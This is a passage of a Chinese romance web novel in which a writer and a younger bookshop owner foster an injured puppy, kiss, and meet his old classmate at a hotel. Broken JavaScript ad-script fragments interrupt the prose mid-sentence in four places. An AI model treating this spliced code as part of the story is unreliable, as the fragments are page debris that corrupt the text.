井稚仔细看去才发现,她胳膊绷得僵直,没拿手机的手紧紧握着拳,不用翻开也知道定是掐出了满手心的指甲印。浑身止不住地颤抖,不规律起伏的胸腔不知道是在抽泣还是大口呼吸,低着头垂下的发丝挡住了她的表情,但隐约能看到微颤的睫毛。 半晌,裴凝似乎终于站不住了,止不住地向后倒。 井稚两步上前,手抵在裴凝身后的墙上,让她纤薄的脊背落在他手中。 “抱歉。”虽然不是有意,但井稚还是为自己的偷听道歉,“我不是故意听你打电话的。” 他看清了,裴凝没有哭,只是眼睛里,有止不住的疲惫。 裴凝知道是井稚,想抬头去看他,但只抬了一点点,就有气无力地落了回去。 她浑身的力气都被抽干了,靠在井稚温暖的手上,还觉得支撑不住。伸手去拽井稚的衬衫,拽了几次,井稚才反应过来,又向前走了几步。 裴凝把脸埋在井稚怀里。 “借我休息一下。” 井稚一瞬间僵住,呼吸短促起来,身上的温度又开始随着心跳加速飙升。 半分钟后,他缓缓抬手,环住裴凝冰凉的身体,将她抱得更紧些。 身后来来往往的人都侧目看向他们。 但井稚的呼吸逐渐与裴凝同频,他不再感到紧张和局促。 只有难过。 一种没来由的,似乎从裴凝身上传递过来的,汹涌无边的难过。 - 裴凝恢复过来之后,也没有心情继续聚餐,便说想提前离开。 “我送你。” “你留在这吧。这么多你的同事呢,我们都走了太扫兴了。” 井稚听了,推门走进包间,从椅子上的包里翻出一张卡,交给最近的店员。 “我有事先走了,你们拿着去玩吧,今天全体放假,所有消费我买单。” “哇哦!老板万岁!” 房间里瞬间响起一片热烈喝彩。 裴凝无奈地笑笑,走到朱情耳边低语了几句。 刚才接电话的时候朱情已经听到是裴宁海打来的了,所以很担心裴凝的情况,听她说要回去,自然连忙点头。 “那我送你?” “不用,井稚送我。我们住上下楼。” 朱情看了井稚一眼,没有多问。 “好,那我也走了。一会儿还约了几个记者开线上会。” 安排妥当,裴凝便和井稚下了楼。 回去的路上,两人几乎没有说话。裴凝在情绪剧烈起伏又消散后,感受到了一股由内而外的倦意。她调了调座椅,头靠在颈枕上,脸偏过去冲着窗外,微微阖眼。 也许是因为井稚的车很大,隔音又好,车里安静得和外面的车水马龙像是两个世界。 他们被隔绝在这座移动的无人小岛上,耳边划过的,只有彼此接替的呼吸声。 裴凝莫名 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 觉得很安心,没多久,便沉沉睡去。 - 裴凝正好在到达小区前醒来。 等井稚停好车,她已经重焕往日生机。 “车技不错,要是吻技也能像车技一样就好了。” 井稚懒得理裴凝的打趣,抱着花低头往前走。 他在想,她是真的没事了,还是装的。 “汪,汪汪!” 快走到单元楼时,绿化草丛里传来几声奶声奶气的狗叫,听着离得不远,但却看不到身影。 井稚和裴凝同时停下了步子。 “你听到了吗?” 井稚点点头,方向已经拐向草丛去了。 裴凝跟着他,走了没几步,就看见了掩在不高的绿植中的,一只毛茸茸的花色小狗。 它看起来也就两三月大,身上胎毛还没换掉,小小的眼睛又黑又亮,右耳耷拉着,左耳却倔强地挺立着。灰毛脑袋下,嘴巴一圈倒是白毛,身前不知道在什么地方打滚弄脏了,看起来灰扑扑的,是个还没长大就已经潦潦草草的卷毛小奶狗。 它见井稚走到跟前,不但不躲,还直接坐下了。 “我去给它买点吃的。” 在小狗第三次试图打滚勾引两人之后,井稚站起身道。 “哦哦,那我就先……” “你帮我拿下花,在这等我一下。” 裴凝还没说完话,井稚就已经把花塞给她,跑没影了。 剩下一人一狗两两相望。 裴凝撇撇嘴,不满地瞪它。 “看我干嘛?卖萌对他有用,对我可没用。” “要不是你,我这会儿已经亲上那个哥哥了!” 过了一会儿,裴凝感觉等得有些无聊,看看周围,又看看小狗,终于也蹲下身去,试探地伸出手。 结果那小狗一翻身,躲到一边去了,不让她摸,就这样保持着距离看她。 “你怎么区别对待啊?” 裴凝生气了,站起身一跺脚。 “汪汪!” “哼,我也不喜欢你!” - 井稚回来的时候就见裴凝和小狗嘟嘟囔囔的,小狗说一句,裴凝能说十句。 “你跟小狗也能吵架?” 井稚叹为观止。 小狗见井稚回来了,立刻掉头跑到他脚边,身高不够力气来凑,使劲昂着小脑袋,盯着井稚手里的火腿肠,尾巴快摇上天了。 井稚蹲在它面前,揉揉它的呆毛,把手里的火腿掰出一截来,递给它吃。 小狗立刻钻到井稚手心里,只露了小耳朵翘在外面,小小的嘴巴哼哧哼哧,努力地啃咬咀嚼,生怕火腿下一秒就飞了。 “它怎么只跟你好?” 裴凝还是不服气。 “我喂过它几次,它已经认识我了。” 怪不得,裴凝心里舒坦了。 先来后到嘛,不能说明裴凝魅力不够。 “它是一只性格很好的小狗,”井稚一边给狼吞虎咽的小狗顺着气,一边道,“你只要多摸它几次,它就会跟你玩了。” 渐渐的,裴凝耳边的声音有些飘忽了。 因为她的眼神忍不住被牵到井稚身上。 为了今天的签售会,他难得地没有穿运动装,而是穿了一件黑色衬衫,露出的半截小臂健康匀称,此刻因为长时间支撑,能看到微微紧绷的肌肉,顺滑地隐藏在小麦色肌肤下。晚风一吹,灌进衬衫里,在后背鼓起来,勾勒出上身健硕的薄肌。高大的身躯,却很乖巧地蜷缩在路边,怕打扰小不点吃饭,一动不动地伸着宽大的手掌。 好像一只顺毛小狗啊。 这个想法出现在裴凝脑子里的时候,她的动作和声音已经先一步出发了。 她浅浅弓腰,伸手揉了揉井稚的短发。 “这样吗?” 5. Chapter 5 “你笑什么呢?” 视频那边的朱情发出疑惑。 裴凝被拉回思绪,摇了摇头,但嘴角还是止不住扬起。 没办法,只要一想到刚才井稚那张回过头来错愕又震惊的脸,还有为了掩饰脸红而快步走在前面的僵硬背影,裴凝就忍不住母爱泛滥。 好乖啊。 这迷人的年下魅力。 “我刚才跟你说的你都记住没?” 朱情打视频来是为了确认裴凝的状态,看她又生龙活虎了,就知道对她来说什么良药都不如帅哥一路相送。紧接着又汇报了一下这几天的宣传计划,让裴凝多多配合。 “记住啦。” 说完工作,裴凝又想起朱情和井稚是校友的事来。 “对了,小情人儿,你原来在学校没有听说过井稚吗?他这个脸的级别,应该还是有点名气的吧。” “说起来,我那天还真仔细想了一下。”朱情仰头思考道,“我就说我怎么一直觉得井老板的名字这么耳熟,我以前确实在学校听过他。” “哎?说来听听?” “他大一的时候我都大三了,基本都在忙实习,所以知道的不多。就是听说他是个小富二代,父母都是做生意的,有钱有文化。因为长得帅性格好还总在校队打球,所以挺受女生喜欢的,别的就不清楚了。” 朱情念叨着把自己知道的都告诉了裴凝,神色一转,盯着裴凝道:“井老板比我还小两岁呢,算起来比你小四岁,你可别欺负人家。” 裴凝“嘿”了一声:“我有那么变态?” “你太有了。” 朱情想了一下这些年被裴凝嚯嚯的美男万千,再想想井稚那青涩懵懂的样子,忍不住替他打了个寒颤。 “小情人儿,你太不懂我了,我很失望。” 裴凝假意痛心疾首道。 “行了,不跟你扯了。你和井老板的事我不管,但是新书进度不能落下,要不我就杀到你家给你搬家。” 裴凝刚要吐槽朱情怎么这么没人性,那边视频就已经挂了。 世界重新安静下来。 裴凝的笑容还因为肌肉的惯性而挂在脸上,但情绪已经随着声音的沉寂一瞬间坠落下来。 她其实并没有恢复心情。 裴宁海的电话,打破了她长久安宁的平静生活。 上一次听到那一家人的消息,还是五年前裴致要出国的时候。裴宁海托亲戚给裴凝送来话,表面上是问她要不要见裴致一面,说他以后没准就留在国外生活了,毕竟是姐弟没必要一辈子不见,可实际上话里话外,还是要裴凝出钱。 裴凝当时听到这些话,恶心得三天吃不下饭,立刻换了手机号,把通讯录和微信里所有能跟裴家沾上边的亲戚全拉黑了,才换来这几年清净。 想起这些,裴凝又不自觉地握紧了手,只有指甲嵌在肉里的痛感能让她保持清醒。 不然她又会沉沦在那段回忆里痛苦挣扎。 不小心按亮手机屏幕,突然的亮光晃了裴凝一下,壁纸上的两张笑脸把她拉回神。 想了想,裴凝又拨了一个视频。 “妈妈,怎么好久才接。” 画面里的裴悯卡得像PPT,一帧一帧在手机里动,裴凝都怀疑她能不能听清自己的话。 “都躺下了,又起来开灯接你视频的。” 裴悯的笑容一如既往地温暖。 在裴凝记忆里,除了初见,似乎就没有见过裴悯生气。 “妈妈你什么时候回来嘛。” 裴凝鼻子突然酸了一下,为了掩饰,只好低下头去揉揉鼻尖。 她一见到裴悯,就会忍不住委屈。 在外人面前,裴凝不会有这些脆弱的情绪。今天向井稚寻求慰藉,已经是破例中的破例。而且裴凝并不觉得自己是在强装坚强,她有时是真的感受不到那些伤心难过,也觉得没有必要为了这些感情影响他人。 但只要看到裴悯,裴凝就会变成那个七岁的小女孩。 “这边天气好好哦,还不想回去呢。” “哪有您这样的,说好采风三个月,您都采了三年了,还在那深山老林里不出来。那里信号那么差,打个视频都看不清,我看您是真的不想要我了。” 三年前裴悯说灵感枯竭要去一个风土人情淳朴的地方采风,当时说好只去三个月,结果一去就是三年。平时裴凝除了给她打视频,也就是逢年过节或者同样灵感枯竭的时候去找她时能见见她。裴凝心里想得很,但怎么劝都劝不回来。 “哪里的话呦。”裴悯笑笑,似乎是看出裴凝情绪不高,问道,“怎么了,心情不好?” 裴凝本来想说裴宁海给她打电话的事,但话到嘴边,又转开了。 “您不回来,我上哪心情好。” 裴悯对裴宁海的厌恶比裴凝有过之而无不及,这样糟心的事,裴凝还是不说给裴悯听,破坏她的心情了。总归就是再拉黑一次,不行就再换手机号,她自己解决了罢了。 “今年过年就准备回去了。” “真的?” 裴凝眼睛亮起来。 “您可得说话算话!不能再诓我了!” 裴悯笑着点点头。 - 在得到裴悯还有半年就要回来的消息后,裴凝一连开心了好几天,连写作都顺畅了许多。她舍不得源源不断的灵感,所以一直闷头在家码字,一次家门都没出过。 听到门铃响的时候,裴凝以为是朱情给她送物资来了,想都没想就打开了门。 然后获得了三面相觑。 她、井稚、还有不知道为什么在井稚怀里的小花狗,一时间谁都没有说话。 裴凝后知后觉地想起,自己现在素面朝天,正穿着洗得发白了的棉质睡衣,三天没洗的头发随便在脑后扎了个揪,脚上拖鞋还因为跑得太急穿反了,更不要提因为熬了几个大夜而快和眼睛一边大的黑眼圈了。 是十足十的邋遢宅女形象。 “啊啊啊啊怎么是你啊!你来别人家怎么不按门铃啊!” “不是,我按门铃了,是你开的门……” 井稚话没说完,就被“咣”的一声门响,隔绝在了屋外。 裴凝紧急补救了一下,换了上次那身真丝吊带睡衣,随便洗了把脸,头发散下来拿卷发梳理了几下,至少看起来不凌乱,最后一边跑一边换了左右脚的拖鞋。 门重新打开,裴凝又变成了熟悉的自信模样。 “怎么了井老板?” 她假装刚刚一切都没有发生过。 井稚看到眼前人变脸之快,惊得差点忘了自己来干嘛了。 “哦对了,是它。”井稚把小狗举起来给裴凝看,“它受伤了。” 裴凝这才看到,小花狗的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 左前腿缠着纱布,和右边明显不一致地翘翘着。但即使受伤了,此刻被井稚端起来的脸上,还和那天晚上一样傻呵呵地笑着,一点看不出疼痛感。 “怎么弄的?” 裴凝皱眉,上前轻轻摸了摸它受伤的小腿。 “这小区里有大狗欺负它。我已经带它去过医院了,还好伤得不重。” 裴凝点头,还是没明白井稚的来意:“那你是来?” 井稚看起来很开心,说话的语气都像是寻求老师肯定的小学生一样积极,小狗眼眨巴眨巴,看得人心软软。 “我准备收养它!但是我家里有一只猫,小狗没有打完疫苗,我不能让它住到我家,所以你能不能帮我照顾一段时间,等疫苗打完,我再把它带走。” 说完,像是怕裴凝拒绝一样,井稚又赶紧补充道: “我把需要的东西都买好了,这两天就到,不用你照顾它,我每天来照顾!” 一大一小两双亮晶晶的瞳孔期待地看着裴凝。 井稚自然是有私心的,他想借每天来照顾小狗的由头,多和裴凝见面。 好几天都不见她了,井稚实在难耐得很。 但裴凝给出了干脆利落的拒绝。 “不行。” “……为什么?” 小狗好像也看出自己被拒收了,和井稚一起耷拉下了耳朵。 “我每天工作时间都很长,完全没时间管它,就算你每天来,也不可能24小时照顾它吧?而且养小狗是很麻烦的,它还不能打扰我工作,我可能养不好。” 裴凝给出了理性的理由。 井稚受挫,脖子有点弯下去,还想再争取一下,但声音却渐渐变小:“它很乖的,不会打扰你的……” 顿了一下,又自言自语似地补充道:“我也不会打扰你的。” 裴凝看着眼前一人一狗的委屈模样,心里动摇了。 但裴凝从来没有养过宠物,她知道自己心性不长,人也好宠物也好,她可能都不能保持长期的热情。如果她忙起来完全忘了小狗,或者照顾了几天觉得麻烦了,对小狗来说都是很不负责任的行为。 裴凝很是犹豫。 “真的不行吗?” 井稚抱着小狗,弯下腰去,把脸凑到裴凝前,从下而上地看着她。骨骼分明的脸侧轮廓因为央求的神色柔和了许多,薄唇轻抿,直勾勾又毫不自知地诱惑着裴凝。 裴凝和他对视了一会儿,败下阵来。 “它的伤要养多久?” “很快!一个星期就好了!” 井稚看裴凝松了口,瞬间笑开,把小狗递到裴凝眼前。 “你每天都来照顾它?” “嗯!每天都来!” “好吧。”裴凝接过小狗,小心地不碰到它的伤腿,“那先养在我这吧。” “嘿嘿!你真好!” 裴凝觉得现在这个表情的井稚比小狗还小狗,让她突然想起了小时候邻居家的那只天天傻笑的萨摩耶。 “你家里养猫吗?” “对,也是捡的流浪猫,一只三花,你要去看吗?” “下次吧。”裴凝顺了顺怀里小毛球的毛,“它叫什么?” “还没起名字呢,你来起吧。” 裴凝偏头想了一下,看看井稚,又看看小狗。半晌,开口道: “嗯……井小二?” 6. Chapter 6 朱情看着面前仰着头一动不动和她对视的井小二,幽幽地问道:“这是什么?” “小狗。” 裴凝有些心虚。 “我知道这是小狗。我的意思是,”朱情感觉什么词汇都无法描述她此刻的心情,“你家,哪来的,小狗?” “井稚捡的嘛,他家有猫不方便,先放我这养两天。” “然后你就同意了?” “对呀,怪可怜的嘛。” 朱情不可置信地走到裴凝面前,抬手摸了摸她的额头:“没发烧啊。” “干嘛这么震惊啊。” 裴凝撇嘴。 “裴洛洛,你是年近三十终于开始恋爱脑了吗?”朱情滔滔不绝地吐槽,“你哪里养过小狗?你不是说养宠物最麻烦这辈子都不会养吗?而且你哪有时间?你新书写到哪了?” 裴凝在一声声质问中低下了头。 她确实说过不会养宠物,也确实觉得养宠物很麻烦,但她最近就是莫名觉得,狗狗好像也挺可爱的。 像井稚那种开心了眨眼睛、不开心了垂脑袋的大只萨摩耶,就更可爱了。 “暂养,只是暂养,”裴凝打断她,“而且你看它多可爱!” 朱情听了,顺着裴凝的手看过去—— 井小二现在正疯狂在裴凝家里跑酷,瘸了的左前腿一点不沾地,全靠另外三条小腿吧嗒吧嗒在地上跑,致力于跑遍这家里任何一个角落,撞飞任何一个它能撞飞的东西,看不出任何腿瘸了的忧郁,只留下欢快而不羁的残影。 “是真可爱哈。” 朱情面无表情道。 事已至此,朱情也没办法,除了嘱咐裴凝不要玩物丧志、不要沉迷撸狗也不要沉迷男色、一定要以新书为重之外,也没再说什么。 “对了,它有名字吗?” “井小二。” “井,小二?这名字井老板能答应?” “答应,怎么不答应,他可喜欢了。” 再三抗议无果之后被迫答应了,怎么不算答应? - 朱情走了没一会儿,井稚又来送井小二的东西。因为是临时决定收养的,井稚只先拿来一些家里猫小时候用过的窝和玩具,路过宠物店买的尿垫,还有他备着给流浪狗喂的狗粮。剩下的,等快递到了他再一点点往裴凝家里搬。 书店正忙,他没说上几句话,放下东西就走了。 转眼间,又只剩下裴凝和井小二了。 井稚说的没错,井小二真的是一只性格很好的狗,只要抱抱它、摸摸它,它就会立刻开心地围着你摇尾巴。裴凝不过是戳戳它的小脑袋,给它理了理呆毛,它就全无上次的警觉,走到哪都粘着她,丝毫没有对新环境的焦虑。 真是和井稚如出一辙的性子。 安顿好井小二,喂了些水和粮食,裴凝便继续去写刚才没写完的那章。 写作时的裴凝,是地震海啸都难惊动的专注。所以等她再抬头时才发现,已经日落西山了。 裴凝在电脑前安静地坐了好久,突然想起井小二来。 她这大半天都没有理它,井小二也没有发出任何声音——当然也可能是裴凝没听到。作为在新家度过的第一天,井小二大概孤单极了。 裴凝顿感愧疚,刚想起身去寻,才发现井小二就趴在自己脚边,两个小前爪还抱着它的玩具小球,背上一起一伏的,呼吸均匀,小卷毛软软地塌在身上,舒舒服服地睡着了。 也许是感觉到裴凝的动作,井小二迷迷瞪瞪地翻身站起来,晃了晃身子。 “井小二。” 裴凝弯下身去,轻轻柔柔地抚摸它头顶的杂毛。 “你想不想去见哥哥?” “汪!” 清脆的一声回答惹笑了裴凝。 “好,我带你去见他。” “我也想见他了。” 裴凝洗了个澡,难得细心地把头发吹得顺滑蓬松,涂了新换的玫瑰味身体乳,顺便还敷了个面膜。 从浴室出来正好七点,裴凝从桌上摸来手机,给井稚发消息。 【还没下班?】 很快收到回复。 【还得一会儿,今天忙。】 裴凝想了想,又看了看瘸着腿站在自己面前的井小二,回屋找出一件吊带长裙。 裙子是法式复古设计,蓝绿色的绒面材质,上面铺满了暗红色的印花。腰间两侧是镂空,露出裴凝纤细白皙的腰身。宽带吊带正好露出明媚的锁骨来,勾勒出温柔又诱人的氛围。 收拾一二,裴凝俯身捞起井小二,出了门。 - 驱车至松林间,裴凝久违地感受到了烟火气息。 八月初的青城,正是盛夏。晚上七八点的繁华街道,比白日里还要热闹,五色暖光连成一片,叫卖声、嬉笑声、酒后吹大牛声,笼罩在整座城市的上空。 松林间就开在这样一条街道上。 它与旁边的商超、酒吧相比,似乎有些格格不入。墨绿色的木制招牌,肆意又克制地写着店名,除此之外再无多余赘述。四周的热闹声响像屏障一样将书店围起来,在聒噪的都市中,独留出这样一片恬静之地。 裴凝左手抱着井小二,右手捧着专门去买的一束香槟玫瑰,轻车熟路地推开大门。 “哎,洛漾老师!” 签售会那天见过的一个店员第一个看到了裴凝,惊喜地叫出来。 裴凝颔首笑笑,刚想问井稚在哪,就见店员把手往里一指:“老板在里面!” 裴凝顺着方向走进去,绕过几排书架,看到了正在检查书籍摆放的井稚。 裴凝很少见到工作时的井稚,签售会是第一次,现在是第二次。但签售会那天基本只看到了井稚当保镖,像这样日常工作中的井稚,对裴凝来说是新奇的。 她停下步子,站在书架尽头观望了一会儿。 井稚还穿着上午那件灰色无袖运动衫,松垮随意又不邋遢。一条黑色休闲工装裤,包裹着他原本就又长又直的双腿, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 整个人显得格外挺拔。他的视线始终在手中的iPad和书架上来回,认真的时候嘴唇会微微抿起来,不自觉地皱起一点眉。 好想亲。 裴凝在有了这个想法之后,便无法再按捺它只存在于脑海中。她几步走上前去,把花放在一边,抬手握住了井稚紧实有力的小臂。 “忙吗,井老板?” 井稚看到裴凝时愣了一下,呆滞了几秒才反应过来。 “不忙……你怎么来了?” “嗯,井小二说想见你。” “……?” “不忙的话,能不能借我一点时间?” “怎么了?有什么事吗?” 井稚看着裴凝严肃认真的表情,以为出了什么事,立刻放下iPad,转过身来面对着她。 “有。”裴凝郑重其事地点点头,“有点少儿不宜的事情,想邀请你一起做一下。” - 书店最里侧的杂货间,大门紧锁。 如果仔细听,能听到里面传来的细微喘息,还有穿插着的细碎呢喃。 门内,两人一狗,身影交叠。 玫瑰与雏菊香气混杂在一起,醉人心神,勾人魂魄。 杂货间的窗户外,是书店后侧,商铺稀少,灯光微弱。满室漆黑中,澄澈的月光救赎一般划破了一道缝隙,照在屋内人几近迷离的眼中。 “不是说少儿不宜吗?它怎么在这……” 喘息间,井稚垂头搭在裴凝颈间,沉声问。 裴凝坐在井稚随手给她腾开的桌子一角,光滑手臂搭在井稚肩上,两手在他颈后随意交叠。井稚话语间呼出的热气惹得她一阵心痒,下意识地往一侧躲开。 “所以我不是让你把它扭过去……” 井稚闻言,一只手依旧揽在裴凝腰间,微微粗糙的手透过腰间镂空摩挲着细嫩的肌肤,另一只手则抓住坐在桌子一旁的井小二的脸,扭到了看不见的方向。 他又向前靠近了些,两人的衣服贴在一起,摩擦出腾空的热意来。 裴凝凑上去,咬住井稚的下唇,稍微用了下力。 听到面前人“嘶”的一声,裴凝坏笑着躲开,却被井稚一手捞了回去。他微微蹙眉,惩罚似的捏住裴凝后颈,趁她抬头的瞬间,俯身侵入唇间。 裴凝的身体天生偏凉,舌头也凉,总是比井稚的温度低上一些。越索取,井稚便越忍不住探得更深,想将暖意全然渡予她。 “井老板,”裴凝抽离出来,声音带着些嘶哑的欲望,“你上瘾了。” “嗯。”井稚看着她蒙了一层雾的眼睛,认真地点头,“不可以吗?” 裴凝笑而未答。 井稚有些泄气,转而,又有些生气。 他强迫裴凝看着自己,一字一句又问了一遍: “不可以吗?” 裴凝觉得那双会眨巴的小狗眼,真是害人不浅。 害得她竟然听见自己说: “可以,对我上瘾吧,井稚。” 7. Chapter 7 裴凝抱着井小二刚坐到车上,就听手机“嗡嗡”震了几下。 她定定地看着手机上的消息,脸上看不出什么表情。想了片刻后,回了“没事”两个字。 “怎么了?” 井稚拿着花跟上车,见裴凝神色不似方才,询问道。 “没什么,小情人儿跟我说《昨日黄昏》的出版社还是决定不继续和我合作了。” “怎么回事?” 井稚回身把花放在后座,自然地从裴凝手里接过井小二来。 “签售会宣传之后销量是好了一些,但我新书写的是悬疑题材,出版社觉得我从来没写过,无法保证质量,也不确定读者会不会买单,所以再三权衡之下拒绝了。” 井稚皱眉不悦:“怎么会不确定?我给你包圆。” 裴凝被井稚认真的表情逗笑了,扫去一些阴沉的情绪。她抬手揉了揉井稚的头发,在他不满地瞪过来时,及时收回手,启动车子。 “先回家吧——等会儿,你为什么在我车上?” 裴凝后知后觉地想起来问。 “我没开车。” “你怎么没开车?那不是你车……” 话没说完,井稚眼疾手快地系好安全带,高大的身子使劲往座位里缩,长腿长手别扭地蜷在一起,怀里紧紧抱着看起来要憋死了的井小二。 “我说没开就没开。” 井稚小声反抗,听起来没什么底气,但裴凝扭头去瞧,他脸上的表情却是十分执拗,看来无论如何也要坐裴凝的车走。 裴凝无奈,轻轻一拍他肩膀。 “坐好,把井小二放开。” 井稚见好就收,听话地坐直身子。 路上,裴凝又想起朱情说的另外一事。 “对了,过几天你们学校校庆开放日,你去吗?” “去吧,正好那几天我去江城出差,顺便去看看。” “又出差?” “嗯,一直在给分店选址,跑了几个城市了。” “井老板生意兴隆呀,”裴凝打趣道,“未来还要仰仗井老板提携了。” “少来。” 井稚不好意思地挠挠头,转念,想起什么,一拍大腿。 “哎,你可以去我们校庆呀,很多毕业生都会去,我们院每届都有在出版圈工作的,聊聊的话没准能碰到愿意合作的呢。” “我能去吗?” 裴凝顿时来了兴趣。 “能,你跟着我……或者跟着朱情学姐,都能去。” 裴凝在红灯前停下,侧过身子,捏了捏井稚的耳垂,夸奖道:“小孩儿真聪明。” 井稚瞬间顶了个半生不熟的红苹果脸,生硬地扭过去,把头磕在车窗上。 “都说了别叫我小孩儿。” 井稚嘟囔,声音掩在车子启动的声音中,听不清了。 - 一周后就是校庆。 井小二还小,腿伤又没好利索,裴凝不放心它自己在家,所以让朱情订了家宠物友好酒店,准备带着它一起去。井稚和她们商量后订了同一家,他提前几天去江城选址,约好直接在酒店见。 裴凝和朱情在校庆前一天前往江城,车程两个多小时,到达酒店的时候已经是下午三点,一直开车的裴凝没什么胃口,随便垫口面包便休息了。 再醒来时,太阳将将落下,只留个粉红的尾巴在天边。 “小情人儿,几点了。” 裴凝迷迷糊糊地翻身起来,看着坐在床上看电脑的朱情。 房间里没有开灯,电脑屏幕的亮光是这屋里唯一的光源。 “六点多了。” 裴凝点点头,坐在床边晃了晃脚,还没太醒神,迷蒙道:“你在干什么呀?” “再核对一下新书的项目书。”朱情的语气不无担心,“洛洛,我还是得提醒你,不要抱太大希望。” 校友会里的关系比外面还复杂,朱情本来不想来的,但架不住裴凝一直劝说。 “没事,就当放假了。” 裴凝光脚踩在柔软的地毯上,摸着墙边,走到门口打开灯。 刹那刺眼的光亮晃了她一下,半晌,她揉着眼睛睁开,漫无目的地环顾一周。 然后她才觉得,这屋里好像少了点什么。 “小二呢?” 朱情听到裴凝的问句,才惊觉已经好久没有听到井小二的动静了。 两人瞬间清醒,立刻到门口查看,发现房间门开着一条缝,正好是井小二能钻出去的宽度。 “刚才酒店来送东西,可能没关严。” 裴凝抱着侥幸心理,在屋里上上下下找了一圈,没有看到半点小狗的身影。她立刻让朱情联系前台,自己则一边跑到楼道里寻找,一边给井稚打去电话。 “小二不见了,你能回酒店一下吗?” 裴凝极少有这样慌乱的时候。 她紧紧攥着手机,边框卡在手心里,有种磨人的钝痛。脚上随便踩着酒店的软质拖鞋,大理石地板的凉意一下一下地刺激着神经,裴凝感觉眼前的景象在渐渐模糊。她的思绪被拉扯着,难以集中精神,仿佛过了好久,才听到手机里传来的井稚的声音。 “没事,别着急。我马上回来。” 井稚的声音短促但有力,像安抚的哨声,穿透裴凝的心神。 裴凝点头应下,深呼吸后,在楼道里仔细找寻起来。 “小二,井小二——” 朱情联系过前台后便跑去下一层找着,两人一边轻唤它的名字,一边挨户敲着门。 “您好,请问您有看到一只小狗吗?卷毛,花色,大概这么大。” 问过大半层楼之后,裴凝依旧没有得到任何消息。她的身体难以抑制地紧绷着,呼吸忽长忽短,指甲快要嵌进肉里。 “您好,请问您有没有看到一只小狗……” 开门的是一个年轻女孩,一头清爽短发,吊带背心外套着牛仔短款上衣,活力四溢,神色张扬。 裴凝几乎是在她开门的一瞬间就机械地问出口,话还没说完,那女孩便侧过身,伸手向里指去: “是它吗?” 裴凝猛地抬头,终于看到了那张熟悉的笑脸。 “井小二!” 井小二见到裴凝,吧嗒吧嗒地奔跑过来,一跃扑进了裴凝张开的手。 “看来是它了,”女孩站在门边,眼睛弯弯地看着裴凝,“它腿脚不太灵便,一跑到我屋里就卡在柜子中间了,我刚把它 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 解救出来,正准备送到前台呢。” 说完,又弯下腰,两手撑在腿上,眼睛平视着嘿嘿傻乐的井小二。 “你叫井小二呀?下次可不能这样乱跑了哦。” 裴凝感激的话一箩筐,刚要开口,就听到井稚的声音由远及近传来。 “裴凝,找到了吗?” 等他气喘吁吁地在裴凝身边站定,看到她怀里的小狗,才终于松了一口气。 “哎,井稚?” 屋内的女孩向外迈了半步,大半个身子都站了出来,惊喜地看着井稚,语调上扬,很是欢快。 刚刚从楼下跑上来的朱情,看着围成圈站在一起的三人,不明所以地发出疑问: “你们干嘛呢?” - 几人在房间里坐下,三言两语间,裴凝听明白了。 许溪是井稚的同班同学,也是来参加校庆的。 “好巧啊,”许溪的眼神亮晶晶的,“我还以为你不会来呢。” 裴凝觉得自己可能打扰到他们老同学叙旧了,正要起身,就听许溪问道:“不介绍一下?” 裴凝觉得她指的大概是自己。 井稚清了清嗓,像是斟酌一般,缓慢道:“她是,我的……” “朋友。”裴凝接过话头,“我们是朋友,这次是我拜托他帮我牵线谈点业务。” 说完,又指了指朱情:“她是我经纪人,也是江大毕业生。” “经纪人?你是艺人吗?” 许溪打第一眼就觉得裴凝好看极了,明眸朱唇,即使此刻头发稍显凌乱,也像慵懒的猫咪一样迷人,丝毫不让人觉得邋遢,一看就是上镜的好苗子。 裴凝笑着摇摇头。 “不是,只是个写书的。” “写书的……”许溪似乎想到了什么,“作家也好哇!我是逐日传媒版权组的,你有没有影视化的计划?我们可以聊聊!” 逐日传媒吗? 裴凝回想了一下,自己前些年还真有一本书卖给他们了。 裴凝一般是不愿掉马的,但现在情况所致,她觉得多认识一些影视方面的朋友,也许能多一条曲线救国的路子。 于是她坦诚道:“我知道你们,我的《凤林女贼传》之前是卖给你们的。” “《凤林女贼传》!你是洛漾!” 许溪直接跳了起来,激动得眉毛飞上了天,一双好看的桃花眼因为兴奋而微微泛红。 “啊啊啊啊啊洛漾!我最喜欢你了!” 眼看许溪要一个熊抱扑过来了,裴凝敏捷地把井小二塞到井稚怀里,然后稳稳接住了她。 “慢点。” 裴凝温柔地拍拍许溪的后背,看着许溪从她怀里起来后开心地在原地转圈。 “我从大学的时候就喜欢你了!谈到你的版权一直是我的梦想!” 许溪冲裴凝止不住地笑,一回身看到井稚呆坐在椅子上看她们,突然“哎”了一声: “你也喜欢洛漾,对吧?我大学追你的时候还给你送过我辗转买到的洛漾亲签呢!” 裴凝挑眉。 再开口时,话是对许溪说的,眼神却玩味地落在瞬间红了耳廓的井稚身上: “你喜欢他呀?” 8. Chapter 8 “哎,凝姐,你不知道,他可难追了。” 许溪在听说裴凝和井稚都没吃饭后,盛情邀请他们共进晚餐,两人推脱不过,只好应下。朱情则以修改项目书为由,带着井小二回屋了。 在酒店餐厅一坐下,许溪就开始滔滔不绝地和裴凝讲井稚的八卦。 “当年,有个隔壁专业的女生,专门挑了一个大雨天和他去一个教室自习,然后回宿舍的时候跟他说没带伞,问他能不能送她一段,你猜井稚怎么说的?” “怎么说的?” 裴凝托着下巴,兔子眼睛圆圆地盯着许溪,听得十分认真。 “他说:‘伞给你,不用还了。’然后一头扎进雨里跑了!” “呦,井老板这么聪明呢。” 裴凝和许溪挽着手,一起咯咯笑起来,裴凝想象着井稚当年猛跑的画面,眼睛眯成一条缝。 “许溪!” 井稚咬牙,试图用眼神让许溪闭嘴。 “不过井老板现在会帮女生打伞了,看来还是成长了不少。” “是吗?” 两道目光齐齐看向井稚,井稚语塞,只能又瞪向裴凝。 “你也别说了!” 裴凝哪会听他的,两人的小话一直说到菜上齐了都没停。 “对了凝姐,你的小狗叫井小二啊?”许溪眼珠一转,在裴凝和井稚之间看了个来回,“还是……你们的小狗?” 这名字听起来,就跟井稚脱不了干系。 “算是我们的吧。” 裴凝没有过多解释。 “你们在暧昧吗?” 